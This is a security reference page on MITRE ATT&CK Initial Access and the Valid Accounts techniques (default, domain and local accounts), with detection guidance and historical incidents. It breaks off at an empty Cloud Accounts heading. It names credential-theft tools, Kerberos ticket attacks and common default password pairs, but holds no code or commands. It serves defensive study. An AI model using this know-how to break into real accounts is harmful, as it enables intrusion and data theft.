# Mitre Attack


# Initial Access

Initial Access \[TA0001]

## Information

* ID: TA0001

## Introduction

Initial Access is a critical tactic within the MITRE ATT\&CK framework, representing the methods adversaries use to gain an initial foothold within a target environment. This is often the first stage in a cyberattack lifecycle, enabling attackers to subsequently achieve persistence, escalate privileges, and execute further malicious activities. Techniques under Initial Access include phishing, exploiting public-facing applications, supply chain compromise, and exploiting vulnerabilities in network services.

## Deep Dive Into Technique

Attackers employ various methods under Initial Access to infiltrate target networks and systems. Common techniques include:

* **Phishing Attacks:**
  * Spear-phishing emails tailored specifically to individuals or organizations.
  * Mass phishing campaigns targeting broad audiences.
  * Phishing via malicious attachments or embedded malicious links.
* **Exploitation of Public-Facing Applications:**
  * Targeting vulnerabilities in web servers, databases, or other externally accessible services.
  * Leveraging known vulnerabilities (e.g., CVEs) or zero-day exploits.
* **Supply Chain Compromise:**
  * Manipulating software or hardware supply chains to introduce malicious code into legitimate products.
  * Compromising third-party vendors or service providers to gain indirect access.
* **Valid Account Usage:**
  * Utilizing stolen or compromised credentials obtained through credential stuffing, brute-force attacks, or credential harvesting techniques.
* **Removable Media:**
  * Introducing malware or exploiting vulnerabilities via infected USB drives or external devices.
* **Trusted Relationship Exploitation:**
  * Leveraging existing business relationships or third-party connections to access the target environment.

Technical mechanisms and procedures attackers commonly use include:

* Crafting convincing phishing emails with legitimate-looking domains or spoofed addresses.
* Exploiting web application vulnerabilities such as SQL injection, cross-site scripting (XSS), or remote code execution (RCE).
* Leveraging compromised credentials and credential reuse across multiple systems.
* Deploying malware payloads via drive-by downloads from compromised websites or advertisements.
* Manipulating software updates or packages in supply chains to introduce malicious code.

## When this Technique is Usually Used

Initial Access occurs at the earliest stage of cyberattacks and is fundamental in various attack scenarios, including:

* **Espionage Campaigns:**
  * Attackers aim to infiltrate sensitive networks to exfiltrate confidential information or intellectual property.
* **Ransomware Attacks:**
  * Attackers gain initial access to deploy ransomware payloads and encrypt sensitive data.
* **Advanced Persistent Threat (APT) Campaigns:**
  * Attackers establish a foothold to maintain long-term stealthy access, conduct reconnaissance, and escalate privileges.
* **Financially Motivated Attacks:**
  * Attackers seek initial access to banking systems, payment processors, or e-commerce platforms to commit fraud or theft.
* **Hacktivist Operations:**
  * Attackers gain initial access to deface websites, leak sensitive data, or disrupt operations to send political or ideological messages.
* **Supply Chain Attacks:**
  * Attackers compromise third-party vendors or software providers to indirectly infiltrate target organizations.

## How this Technique is Usually Detected

Organizations typically detect Initial Access through various methods, tools, and indicators of compromise (IoCs):

* **Email Security Solutions:**
  * Advanced spam filters, sandboxing, and email gateways to detect phishing attempts.
* **Network Security Monitoring:**
  * Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) identifying anomalous network traffic patterns, suspicious connections, or known exploit signatures.
* **Endpoint Detection and Response (EDR):**
  * Monitoring endpoint activities for anomalous behavior, suspicious processes, or execution of malicious payloads.
* **Security Information and Event Management (SIEM):**
  * Correlation and analysis of logs from various sources to identify suspicious login attempts, unusual access patterns, or exploitation attempts.
* **Threat Intelligence Feeds:**
  * Integration of IoCs such as malicious IP addresses, domains, URLs, file hashes, and known exploit signatures.

Specific IoCs and indicators include:

* Unusual login times, locations, or multiple failed login attempts.
* Suspicious email sender domains or email headers.
* Malicious attachments (e.g., macro-enabled documents, executable files).
* Unusual outbound network connections to unknown IP addresses or domains.
* Web server logs indicating scanning activities, exploitation attempts, or unusual HTTP request patterns.

## Why it is Important to Detect This Technique

Early detection of Initial Access is essential due to its significant impact on systems and networks:

* **Preventing Further Damage:**
  * Early detection limits the attacker's ability to escalate privileges, establish persistence, or move laterally within the network.
* **Reducing Financial Loss:**
  * Early detection prevents attackers from conducting financial fraud, ransomware deployment, or theft of sensitive data.
* **Maintaining Operational Continuity:**
  * Timely detection minimizes downtime, service disruptions, or damage to critical infrastructure.
* **Protecting Sensitive Information:**
  * Early detection prevents unauthorized access, exfiltration, or exposure of confidential data and intellectual property.
* **Regulatory Compliance:**
  * Timely detection and response help organizations comply with data protection regulations and avoid penalties.
* **Preserving Reputation:**
  * Early detection reduces the risk of reputational damage from public disclosure of breaches or compromised customer data.

## Examples

Real-world examples of Initial Access techniques include:

* **SolarWinds Supply Chain Attack (2020):**
  * Attackers compromised SolarWinds' software update mechanism to distribute malicious code (SUNBURST malware) to multiple organizations.
  * Impacted organizations included U.S. government agencies and major corporations, leading to significant security breaches and data exfiltration.
* **Colonial Pipeline Ransomware Attack (2021):**
  * Attackers gained initial access via compromised VPN credentials leaked on the dark web.
  * Resulted in the shutdown of critical fuel supply infrastructure, causing significant operational disruption and economic impact.
* **Microsoft Exchange Server Exploitation (2021 - HAFNIUM):**
  * Attackers exploited zero-day vulnerabilities in Microsoft Exchange Servers to gain initial access and deploy web shells.
  * Thousands of organizations worldwide were impacted, with attackers gaining persistent access and exfiltrating sensitive data.
* **Operation Aurora (2010):**
  * Attackers conducted spear-phishing attacks targeting Google employees, gaining initial access and exfiltrating intellectual property.
  * Resulted in significant reputational damage and prompted Google to alter its business operations in specific regions.
* **NotPetya Attack (2017):**
  * Attackers leveraged compromised software updates from Ukrainian accounting software provider M.E.Doc to distribute malware.
  * Caused widespread global disruption, billions of dollars in damages, and significant operational downtime for multiple multinational corporations.


# Valid Accounts

Valid Accounts \[T1078]

## Information

* Name: Valid Accounts
* ID: T1078
* Tactics: [TA0005](/mitre/mitre/ta0005), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004), [TA0001](/mitre/mitre/ta0001)
* Sub-Technique: [T1078.001](/mitre/mitre/ta0001/t1078/t1078.001), [T1078.002](/mitre/mitre/ta0001/t1078/t1078.002), [T1078.004](/mitre/mitre/ta0001/t1078/t1078.004), [T1078.003](/mitre/mitre/ta0001/t1078/t1078.003)

## Introduction

The Valid Accounts technique (MITRE ATT\&CK ID: T1078) refers to adversaries leveraging legitimate user credentials to gain unauthorized access, maintain persistence, escalate privileges, or perform lateral movement within targeted environments. In the MITRE ATT\&CK framework, this technique falls under the tactic categories of Initial Access, Persistence, Privilege Escalation, and Defense Evasion. By utilizing valid credentials, attackers blend seamlessly into normal user activity, significantly complicating detection and response efforts.

## Deep Dive Into Technique

Attackers employing the Valid Accounts technique exploit legitimate authentication mechanisms by using stolen, compromised, or otherwise illicitly obtained credentials. This approach can circumvent traditional security defenses, as the activity appears as normal user behavior.

Technical execution methods and mechanisms include:

* **Credential Theft**:
  * Phishing attacks targeting user credentials.
  * Credential dumping from compromised systems (e.g., using Mimikatz or LSASS memory extraction).
  * Keylogging malware capturing credentials from user input.
  * Credential harvesting through social engineering.
* **Reuse of Stolen Credentials**:
  * Credential stuffing attacks using previously leaked credentials.
  * Password spraying attacks to identify weak or commonly used passwords.
* **Exploitation of Trusted Relationships**:
  * Leveraging credentials from third-party vendors or contractors to access target networks.
* **Account Manipulation**:
  * Modifying user account permissions to maintain persistence or elevate privileges.
  * Creating additional valid accounts to ensure continued access.

Real-world procedures attackers commonly employ include:

* Remote Desktop Protocol (RDP) or Secure Shell (SSH) logins with valid credentials.
* Web application logins using stolen credentials to access sensitive data.
* Leveraging VPN access with compromised credentials to infiltrate internal networks.
* Use of cloud service credentials to access cloud infrastructure and applications (e.g., AWS, Azure, Google Cloud).

## When this Technique is Usually Used

Attackers utilize the Valid Accounts technique across various attack scenarios and stages, including:

* **Initial Access**:
  * Gaining initial foothold through stolen user credentials obtained via phishing or credential reuse.
* **Persistence**:
  * Maintaining long-term access by periodically logging into compromised accounts.
  * Creating new accounts or modifying existing accounts to ensure continued access after initial compromise.
* **Privilege Escalation**:
  * Using valid administrative or privileged credentials to escalate privileges within the environment.
* **Defense Evasion**:
  * Avoiding detection by blending malicious activities with legitimate user account activities.
* **Lateral Movement**:
  * Using valid credentials to access additional systems across the network, expanding the scope of compromise.
* **Exfiltration**:
  * Leveraging valid accounts to access sensitive data repositories and facilitate data extraction.

## How this Technique is Usually Detected

Detection of the Valid Accounts technique typically involves monitoring and analyzing authentication logs, user behavior analytics, and activity patterns. Effective detection methods and tools include:

* **Behavioral Analysis**:
  * Identifying anomalous login times, locations, or patterns inconsistent with normal user behavior.
  * Detecting unusual volume or frequency of login attempts.
* **Monitoring Authentication Logs**:
  * Reviewing logs for suspicious login failures followed by successful logins.
  * Detecting logins from unusual IP addresses or geographic locations.
* **Endpoint Detection and Response (EDR)**:
  * Monitoring endpoint activities for signs of credential dumping tools (e.g., Mimikatz, ProcDump).
  * Detecting suspicious processes accessing credential stores.
* **Network Traffic Analysis**:
  * Identifying abnormal traffic patterns indicative of lateral movement using valid credentials.
  * Detecting unusual remote access protocols or VPN sessions.
* **Multi-Factor Authentication (MFA) Monitoring**:
  * Tracking failed MFA attempts or unusual MFA bypass scenarios.

Specific Indicators of Compromise (IoCs) include:

* Unusual login times or locations (e.g., logins from geographically distant locations within short periods).
* Repeated login failures followed by successful logins.
* Presence of credential dumping tools or scripts on endpoints.
* Sudden changes to account permissions or creation of new user accounts.
* Anomalous VPN or remote desktop connections outside typical user behavior.

## Why it is Important to Detect This Technique

Timely detection of the Valid Accounts technique is critical due to the significant potential impacts on organizational systems and networks, including:

* **Data Breach and Exfiltration**:
  * Attackers gaining access to sensitive information, intellectual property, or personal data.
  * Financial and reputational damage resulting from unauthorized disclosure.
* **Privilege Escalation**:
  * Attackers escalating privileges to administrative levels, enabling further compromise of critical systems and infrastructure.
* **Persistence and Lateral Movement**:
  * Attackers maintaining long-term, undetected access, allowing continuous reconnaissance and exploitation of network resources.
* **Operational Disruption**:
  * Potential sabotage or disruption of critical business operations through unauthorized access to key systems or infrastructure.
* **Compliance and Regulatory Implications**:
  * Failure to detect unauthorized access may lead to violations of regulatory standards (e.g., GDPR, HIPAA, PCI DSS), resulting in fines and legal consequences.

Early detection is essential to:

* Minimize damage and limit the scope of compromise.
* Quickly contain and remediate incidents.
* Reduce financial, operational, and reputational risks associated with prolonged unauthorized access.

## Examples

Real-world examples illustrating the Valid Accounts technique include:

1. **APT29 (Cozy Bear) Attacks**:
   * **Attack Scenario**: Leveraged stolen user credentials obtained through phishing and credential harvesting to infiltrate government and private sector organizations.
   * **Tools Used**: Spear-phishing emails, credential harvesting websites, legitimate VPN and remote desktop connections.
   * **Impacts**: Extensive espionage operations, theft of sensitive government and corporate information, prolonged undetected access within targeted networks.
2. **Colonial Pipeline Attack (DarkSide Ransomware)**:
   * **Attack Scenario**: Attackers gained initial access via compromised VPN credentials obtained from leaked credentials on dark web forums.
   * **Tools Used**: VPN access using valid credentials, ransomware deployment tools.
   * **Impacts**: Major operational disruption, temporary shutdown of fuel distribution, significant financial and reputational damage.
3. **Uber Data Breach (2016)**:
   * **Attack Scenario**: Attackers utilized compromised cloud infrastructure credentials obtained through credential stuffing attacks.
   * **Tools Used**: Credential stuffing scripts, cloud service (AWS) access using valid credentials.
   * **Impacts**: Exposure of personal data for millions of users and drivers, regulatory investigations, substantial financial penalties and reputational harm.
4. **SolarWinds Supply Chain Attack**:
   * **Attack Scenario**: Attackers leveraged stolen credentials to access internal development environments and inject malicious code into software updates.
   * **Tools Used**: Valid administrative credentials, access to software build environments, sophisticated malware implants.
   * **Impacts**: Compromise of multiple government agencies and private sector organizations, significant national security implications, widespread operational and reputational damage.


# Default Accounts

Default Accounts \[T1078.001]

## Information

* Name: Default Accounts
* ID: T1078.001
* Tactics: [TA0005](/mitre/mitre/ta0005), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004), [TA0001](/mitre/mitre/ta0001)
* Technique: [T1078](/mitre/mitre/ta0001/t1078)

## Introduction

The sub-technique **Default Accounts (T1078.001)**, as categorized under the MITRE ATT\&CK framework, describes adversaries leveraging built-in default accounts, credentials, or pre-configured user accounts to gain unauthorized access to systems and networks. These default accounts typically exist due to vendor configurations, installations, or initial system setups and often come with widely known or easily guessable credentials. Attackers exploit these accounts to bypass standard authentication mechanisms, enabling them to maintain persistence, escalate privileges, or move laterally within compromised environments.

## Deep Dive Into Technique

Attackers exploiting default accounts typically follow a structured approach:

* **Identification of Default Accounts**:
  * Attackers first identify the presence of default accounts through reconnaissance or scanning techniques.
  * Common default accounts include well-known usernames/passwords such as `admin/admin`, `root/root`, `guest/guest`, or manufacturer-specific credentials.
  * Default accounts may be documented publicly in vendor manuals, online databases, or security advisories.
* **Exploitation Methods**:
  * Attackers utilize automated credential stuffing tools or scripts to systematically attempt default credentials against targeted services such as SSH, Telnet, web administration interfaces, database systems, and network devices.
  * Manual login attempts may also occur, particularly when targeting high-value assets or systems known to use vendor-specific default credentials.
* **Mechanisms of Access**:
  * Once authenticated, attackers gain access to administrative interfaces or system shells, enabling them to execute arbitrary commands, install malware, or modify system configurations.
  * Default accounts commonly have elevated privileges, simplifying privilege escalation and lateral movement within networks.
* **Persistence and Privilege Escalation**:
  * Attackers often leverage default accounts as a persistent backdoor, ensuring continuous access even if other access methods are mitigated.
  * Elevated access through default accounts facilitates privilege escalation, enabling attackers to establish additional footholds or compromise further resources.

## When this Technique is Usually Used

Attackers commonly utilize default accounts across various stages and scenarios of cyberattacks, including:

* **Initial Access**:
  * Exploiting default credentials to gain initial footholds on publicly accessible systems or exposed administrative interfaces.
  * Targeting IoT devices, network appliances, routers, switches, and printers frequently configured with default credentials.
* **Persistence**:
  * Maintaining long-term unauthorized access by leveraging default accounts which may be overlooked in routine security audits or password rotation policies.
* **Privilege Escalation**:
  * Utilizing default accounts with administrative privileges to escalate from lower-level user access to administrative control on compromised systems.
* **Lateral Movement**:
  * Exploiting default credentials to move laterally across network infrastructure, gaining access to other interconnected systems or network segments.
* **Reconnaissance and Credential Harvesting**:
  * Leveraging default accounts to explore internal networks, identify critical assets, and harvest additional credentials or sensitive data.

## How this Technique is Usually Detected

Detection of exploitation involving default accounts typically involves multiple strategies and tools:

* **Monitoring Authentication Logs**:
  * Analyze authentication events for successful or failed login attempts involving known default usernames (e.g., `admin`, `root`, `guest`, `administrator`).
  * Detect unusual login activity, particularly from external or unknown IP addresses.
* **Behavioral Analysis and Anomaly Detection**:
  * Employ SIEM solutions and user behavior analytics (UBA) to detect anomalies such as login attempts at unusual times, from unusual locations, or to rarely accessed systems.
  * Identify repeated authentication failures or credential stuffing patterns indicative of automated attacks.
* **Network Intrusion Detection Systems (NIDS)**:
  * Deploy intrusion detection systems with rulesets specifically targeting default credential usage or brute-force login attempts.
  * Signature-based detection of known credential stuffing tools or scripts.
* **Vulnerability Scanners and Configuration Audits**:
  * Regularly perform vulnerability scans or configuration audits to identify systems still using default credentials.
  * Utilize automated tools (e.g., Nessus, OpenVAS) that detect default account vulnerabilities across network devices and applications.
* **Indicators of Compromise (IoCs)**:
  * Unusual or unauthorized administrative account activity.
  * Login attempts from unexpected geographic locations or IP addresses.
  * Repeated failed login attempts followed by successful authentication.
  * Presence of unauthorized configuration changes or new user accounts created shortly after default account usage.

## Why it is Important to Detect This Technique

Early detection of default account exploitation is crucial due to its significant potential impacts on systems and networks:

* **Unauthorized Access and Control**:
  * Attackers gaining administrative privileges through default accounts can exert full control over affected systems, leading to unauthorized data access, modification, or deletion.
* **Persistence and Difficulty of Remediation**:
  * Default accounts offer attackers persistent access that can be difficult to detect and remediate, especially if password rotation policies or account management practices are ineffective or neglected.
* **Lateral Movement and Escalation**:
  * Default accounts with elevated privileges facilitate lateral movement across network segments, enabling attackers to compromise additional systems and escalate attacks rapidly.
* **Data Breaches and Information Leakage**:
  * Exploitation of default accounts frequently leads to unauthorized data exfiltration, potentially resulting in sensitive information leakage, compliance violations, and reputational damage.
* **Service Disruption and System Compromise**:
  * Attackers may leverage default accounts to disrupt critical services, install malware, or conduct ransomware attacks, severely impacting organizational operations and continuity.
* **Regulatory and Compliance Risks**:
  * Failure to detect and remediate default account vulnerabilities can lead to regulatory non-compliance, resulting in financial penalties, legal consequences, and loss of customer trust.

## Examples

Real-world examples illustrate the prevalence and impact of default account exploitation:

* **Mirai Botnet (2016)**:
  * Attack Scenario:
    * Attackers utilized default usernames and passwords to compromise IoT devices such as routers, cameras, and DVRs.
    * After gaining access, devices were infected with Mirai malware, forming a massive botnet used for distributed denial-of-service (DDoS) attacks.
  * Tools Used:
    * Automated scanning scripts to identify and exploit default credentials (`admin`, `root`, `123456`, `password`).
  * Impact:
    * Massive DDoS attacks targeting critical internet infrastructure, including DNS provider Dyn, causing widespread service outages for major websites and services.
* **VPN and Network Appliance Exploitation (Pulse Secure, Fortinet, Cisco)**:
  * Attack Scenario:
    * Attackers targeted VPN and network appliance default credentials or known hardcoded accounts to gain unauthorized administrative access.
  * Tools Used:
    * Credential stuffing scripts, brute-force tools, and publicly available default credential lists.
  * Impact:
    * Unauthorized access to sensitive corporate networks, data breaches, and persistent attacker footholds within enterprise environments.
* **Default Database Credentials (MongoDB, Elasticsearch)**:
  * Attack Scenario:
    * Attackers scanned the internet to identify publicly exposed databases using default credentials or no authentication.
    * After gaining access, attackers exfiltrated data or held databases for ransom.
  * Tools Used:
    * Automated scanning and exploitation tools (e.g., Shodan searches, mass-scan scripts).
  * Impact:
    * Data breaches, ransom demands, and significant financial and reputational damage to affected organizations.
* **Industrial Control Systems (ICS) and SCADA Exploitation**:
  * Attack Scenario:
    * Attackers exploited default credentials in ICS and SCADA systems to gain unauthorized control over critical infrastructure.
  * Tools Used:
    * Credential enumeration and brute-force utilities, ICS-specific scanning tools.
  * Impact:
    * Potential disruption of critical infrastructure operations, posing risks to public safety and national security.

These examples highlight the critical need for organizations to proactively detect, mitigate, and manage default account vulnerabilities to prevent significant security incidents and operational disruptions.


# Domain Accounts

Domain Accounts \[T1078.002]

## Information

* Name: Domain Accounts
* ID: T1078.002
* Tactics: [TA0005](/mitre/mitre/ta0005), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004), [TA0001](/mitre/mitre/ta0001)
* Technique: [T1078](/mitre/mitre/ta0001/t1078)

## Introduction

Domain Accounts (T1078.002) is a sub-technique within the MITRE ATT\&CK framework under the broader technique of Valid Accounts (T1078). This sub-technique specifically refers to adversaries leveraging valid domain-level accounts—such as Active Directory (AD) accounts—to gain unauthorized access, persist within the network, escalate privileges, and move laterally across enterprise environments. Domain accounts typically provide attackers with extensive access to organizational resources, enabling them to operate covertly and efficiently within the targeted infrastructure.

## Deep Dive Into Technique

Attackers exploiting domain accounts typically leverage credentials obtained through various means, including credential dumping, phishing attacks, brute forcing, or purchasing leaked credentials on underground forums. Once domain-level credentials are acquired, adversaries can authenticate directly against domain controllers, file servers, workstations, or other domain-joined resources.

Technical execution methods and mechanisms include:

* **Credential Theft and Reuse:**
  * Using tools such as Mimikatz, CrackMapExec, or BloodHound to extract and analyze domain credentials.
  * Exploiting insecure credential storage or plaintext passwords found in scripts, files, or memory.
* **Pass-the-Hash (PtH) and Pass-the-Ticket (PtT):**
  * Utilizing hashes or Kerberos tickets to authenticate without knowing cleartext passwords.
  * Common tools used for PtH and PtT include Mimikatz, Impacket suite, and Rubeus.
* **Kerberoasting and AS-REP Roasting:**
  * Targeting service accounts within the domain to obtain Kerberos tickets that can be cracked offline.
  * Tools such as Rubeus, Impacket's GetUserSPNs.py, and Hashcat are often employed.
* **Golden and Silver Ticket Attacks:**
  * Forging Kerberos tickets granting persistent and stealthy access to domain resources.
  * Golden tickets leverage the domain's KRBTGT account, whereas silver tickets exploit service account credentials.
* **Domain Enumeration and Reconnaissance:**
  * Using tools like BloodHound, PowerView, and Active Directory reconnaissance scripts to map domain structure, identify privileged accounts, and plan lateral movement.

## When this Technique is Usually Used

Domain Accounts (T1078.002) can appear across multiple stages of the cyber attack lifecycle, including:

* **Initial Access and Persistence:**
  * Valid domain credentials are used to gain initial footholds or maintain persistent access to the network without raising suspicion.
  * Attackers often target domain accounts early to establish deeper persistence and evade detection.
* **Privilege Escalation and Credential Access:**
  * Compromising domain administrator accounts or privileged service accounts to escalate privileges within the domain.
  * Domain account access facilitates further credential theft and privilege escalation via lateral movement and reconnaissance.
* **Lateral Movement:**
  * Leveraging valid domain credentials to move laterally across domain-joined systems and resources seamlessly.
  * Domain credentials enable attackers to authenticate legitimately, minimizing the chances of detection.
* **Defense Evasion and Execution:**
  * Using legitimate domain accounts to bypass security controls, evade detection mechanisms, and execute malicious payloads or commands without triggering alerts.
* **Impact and Exfiltration:**
  * Domain-level credentials provide attackers with extensive access to sensitive data and systems, enabling data theft, ransomware deployment, or sabotage.

## How this Technique is Usually Detected

Detection of Domain Accounts (T1078.002) involves monitoring, analyzing, and correlating multiple event sources within the enterprise environment. Common detection methods and indicators of compromise (IoCs) include:

* **Monitoring Authentication Logs:**
  * Analyze Windows Security Event logs (Event IDs 4624, 4625, 4768, 4769, 4771) for irregular authentication patterns or failed login attempts.
  * Detect unusual login times, locations, or frequency of domain account usage.
* **Kerberos Ticket Activity:**
  * Monitor for unusual Kerberos ticket requests, particularly service ticket requests (TGS requests) indicative of Kerberoasting.
  * Detect anomalies in Kerberos ticket lifetimes or unusual ticket encryption types.
* **Domain Controller Activity:**
  * Monitor logs from domain controllers for suspicious activities, such as unusual LDAP queries, excessive enumeration, or unexpected account lockouts.
  * Analyze domain controller network traffic for abnormal connections or data transfers.
* **Endpoint Detection and Response (EDR) Solutions:**
  * Utilize EDR tools to detect credential dumping tools like Mimikatz, Rubeus, or Impacket.
  * Identify suspicious processes, memory injections, or PowerShell commands associated with credential theft.
* **Behavioral Analytics and SIEM Correlation:**
  * Implement security information and event management (SIEM) solutions with behavior-based rules to detect abnormal domain account usage patterns.
  * Correlate authentication events, privilege escalation attempts, and lateral movement activities to identify compromise.
* **Specific Indicators of Compromise (IoCs):**
  * Presence of credential theft tools (e.g., Mimikatz binaries, PowerShell scripts).
  * Unusual or unauthorized privileged account creation or modification within Active Directory.
  * Suspicious domain account login attempts from unfamiliar IP addresses or geographic locations.

## Why it is Important to Detect This Technique

Early detection of Domain Accounts (T1078.002) exploitation is critical due to the severe potential impacts on organizational security posture and operational integrity. Importance of detection includes:

* **Preventing Privilege Escalation and Lateral Movement:**
  * Early detection limits attackers' ability to escalate privileges and propagate through the network, containing the compromise and reducing damage.
* **Reducing Risk of Data Exfiltration and Breaches:**
  * Domain accounts provide broad access to sensitive data and systems; detecting misuse can prevent significant data loss, intellectual property theft, or sensitive information leakage.
* **Avoiding Operational Disruption and Financial Loss:**
  * Unauthorized domain-level access can lead to ransomware deployment, sabotage, or disruption of critical business operations, resulting in severe financial and reputational damage.
* **Maintaining Regulatory Compliance:**
  * Early detection and response assist organizations in meeting regulatory requirements and avoiding penalties or legal consequences associated with breaches or data compromise.
* **Improving Overall Security Posture:**
  * Detecting and responding to domain account misuse strengthens the organization's security maturity, enabling proactive defense strategies and continuous improvement of security policies and controls.

## Examples

Real-world examples illustrating Domain Accounts (T1078.002) exploitation include:

* **NotPetya Attack (2017):**
  * Attackers leveraged compromised domain-level credentials and tools such as Mimikatz to spread malware rapidly across enterprise networks.
  * Impact included massive operational disruption, financial losses, and widespread systems damage.
* **APT29 (Cozy Bear) Campaigns:**
  * Utilized stolen domain credentials and Kerberos ticket manipulation techniques (Pass-the-Ticket) for lateral movement and persistence within targeted networks.
  * Enabled espionage activities, data exfiltration, and long-term stealthy access.
* **Ryuk Ransomware Attacks:**
  * Attackers leveraged domain administrator credentials obtained via credential theft tools and phishing campaigns to propagate ransomware across enterprise environments.
  * Resulted in significant operational disruptions, financial losses, and reputational damage.
* **FIN6 Financial Sector Attacks:**
  * Used compromised domain accounts and credential theft techniques to access sensitive financial systems, exfiltrate credit card data, and conduct fraudulent transactions.
  * Caused substantial financial losses and regulatory impacts for affected organizations.
* **SolarWinds Supply Chain Attack (2020):**
  * Attackers compromised domain-level accounts within victim organizations to move laterally, conduct reconnaissance, and access sensitive data.
  * Resulted in extensive espionage activities, data breaches, and widespread organizational impact.

In these examples, attackers consistently leveraged domain accounts to achieve critical objectives, highlighting the importance of detecting, mitigating, and responding to this sub-technique promptly and effectively.


# Local Accounts

Local Accounts \[T1078.003]

## Information

* Name: Local Accounts
* ID: T1078.003
* Tactics: [TA0005](/mitre/mitre/ta0005), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004), [TA0001](/mitre/mitre/ta0001)
* Technique: [T1078](/mitre/mitre/ta0001/t1078)

## Introduction

Local Accounts \[T1078.003] is a sub-technique within the MITRE ATT\&CK framework under the "Valid Accounts" technique (T1078). It involves adversaries obtaining and using credentials for local user accounts to gain initial access, maintain persistence, escalate privileges, or execute lateral movement within a target environment. Local accounts are those that are created and managed locally on a specific host, rather than centrally managed accounts such as domain accounts.

## Deep Dive Into Technique

Adversaries leverage local account credentials to authenticate directly to a targeted system. These local accounts may have varying levels of privileges, ranging from standard user accounts to highly privileged administrative accounts. Attackers commonly exploit local accounts through the following methods:

* **Credential Theft and Dumping:**
  * Extracting credentials from memory using tools like Mimikatz or LSASS dumps.
  * Harvesting credentials stored in configuration files, scripts, or registry keys.
  * Capturing credentials through keylogging or credential phishing.
* **Brute Force and Password Guessing:**
  * Conducting brute force attacks against local accounts using automated tools such as Hydra, CrackMapExec, or Medusa.
  * Performing dictionary attacks using common or leaked passwords.
* **Exploitation of Default or Weak Local Accounts:**
  * Exploiting default local accounts (e.g., Administrator account with default credentials).
  * Targeting accounts with weak or predictable passwords.
* **Privilege Escalation and Persistence:**
  * Using compromised local accounts to escalate privileges (e.g., exploiting misconfigured permissions or leveraging local administrator privileges).
  * Creating additional local accounts with administrative rights for persistence and future access.

Attackers may leverage these local accounts to:

* Execute commands and scripts remotely or locally.
* Move laterally within the network by authenticating to additional systems.
* Maintain ongoing access to compromised systems, even after password resets or account lockouts.

## When this Technique is Usually Used

Local account compromise typically occurs across multiple stages of an attack lifecycle, including:

* **Initial Access:**
  * Attackers may exploit weak or default local account credentials exposed externally (e.g., RDP, SSH).
* **Persistence:**
  * Creating backdoor local accounts or leveraging existing local accounts to maintain long-term access.
* **Privilege Escalation:**
  * Utilizing local accounts with administrative privileges to escalate from standard user accounts.
* **Defense Evasion:**
  * Using legitimate local credentials to blend in with normal administrative activity, avoiding suspicion.
* **Lateral Movement:**
  * Authenticating to other systems within the network using compromised local account credentials.

## How this Technique is Usually Detected

Detection of local account misuse can be challenging but achievable through a combination of proactive monitoring, logging, and anomaly detection techniques:

* **Monitoring Authentication Logs:**
  * Analyze Windows Security Event Logs (Event ID 4624, 4625) for unusual or failed login attempts.
  * Monitor Linux/Unix authentication logs (/var/log/auth.log or /var/log/secure) for suspicious login activity.
* **Behavioral Analytics:**
  * Use User and Entity Behavior Analytics (UEBA) solutions to detect deviations from normal authentication patterns, such as logins during unusual hours, from unusual locations, or using uncommon methods.
* **Endpoint Detection and Response (EDR) Tools:**
  * Detect the execution of credential dumping tools (e.g., Mimikatz).
  * Identify suspicious local account creation or modification events.
* **File Integrity Monitoring (FIM):**
  * Monitor critical system files and directories for unauthorized changes or suspicious file access patterns.
* **Password Auditing and Policy Enforcement:**
  * Regularly audit local accounts for weak, default, or compromised passwords.
  * Implement password complexity policies and enforce regular password rotation.

Indicators of Compromise (IoCs) include:

* Unusual local account creation or modification events.
* Frequent failed login attempts followed by successful authentication.
* Authentication from unexpected IP addresses or locations.
* Execution artifacts from credential dumping tools (e.g., suspicious binaries, PowerShell scripts).

## Why it is Important to Detect This Technique

Detecting unauthorized use of local accounts is crucial due to the significant potential impacts on system and network security:

* **Persistence and Long-term Access:**
  * Attackers leveraging local accounts can maintain persistent access, even after initial remediation efforts.
* **Privilege Escalation and Control:**
  * Compromised local administrator accounts provide attackers with elevated privileges, enabling unrestricted access, modification, or deletion of critical data.
* **Lateral Movement:**
  * Attackers can use local account credentials to move laterally, expanding the scope of compromise and increasing the difficulty of remediation.
* **Data Exfiltration and Espionage:**
  * Attackers with local account access can exfiltrate sensitive data, intellectual property, or personal information, leading to financial loss, regulatory penalties, and reputational damage.
* **Operational Disruption:**
  * Unauthorized local account access can disrupt business operations through sabotage, ransomware deployment, or denial-of-service attacks.

Early detection of local account compromise significantly reduces the risk of extensive damage, limits attacker dwell time, and enables rapid containment and remediation.

## Examples

Real-world examples of attacks leveraging local accounts include:

* **NotPetya Attack (2017):**
  * Attackers used credential harvesting tools such as Mimikatz to extract local account credentials.
  * Leveraged local administrator credentials to propagate rapidly across networks, encrypting data and causing widespread operational disruption.
* **SamSam Ransomware Attacks (2016-2018):**
  * Attackers exploited weak local account credentials exposed via Remote Desktop Protocol (RDP) to gain initial access.
  * Utilized compromised local administrator accounts to deploy ransomware on targeted systems.
* **FIN7 Cybercrime Group:**
  * Conducted targeted attacks against retail and hospitality sectors, utilizing credential dumping tools and brute-force attacks to compromise local accounts.
  * Leveraged local account credentials for lateral movement and persistence, ultimately exfiltrating sensitive customer data.

Common tools and methods observed in these scenarios:

* Credential dumping tools: Mimikatz, LaZagne, gsecdump.
* Brute-force and password spraying tools: Hydra, CrackMapExec, Medusa.
* Remote administration tools (RATs): PsExec, Remote Desktop Protocol (RDP), SSH.

Impacts observed in these examples include:

* Financial losses due to operational downtime and ransom payments.
* Regulatory fines and legal penalties resulting from data breaches.
* Reputational damage and loss of customer trust.
* Extensive remediation efforts and associated costs.


# Cloud Accounts

Cloud Accounts \[T1078.004]

## Information

* Name: Cloud Accounts
* ID: T1078.004
* Tactics: [TA0005](/mitre/mitre/ta0005), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004), [TA0001](/mitre/mitre/ta0001)
* Technique: [T1078](/mitre/mitre/ta0001/t1078)

## Introduction

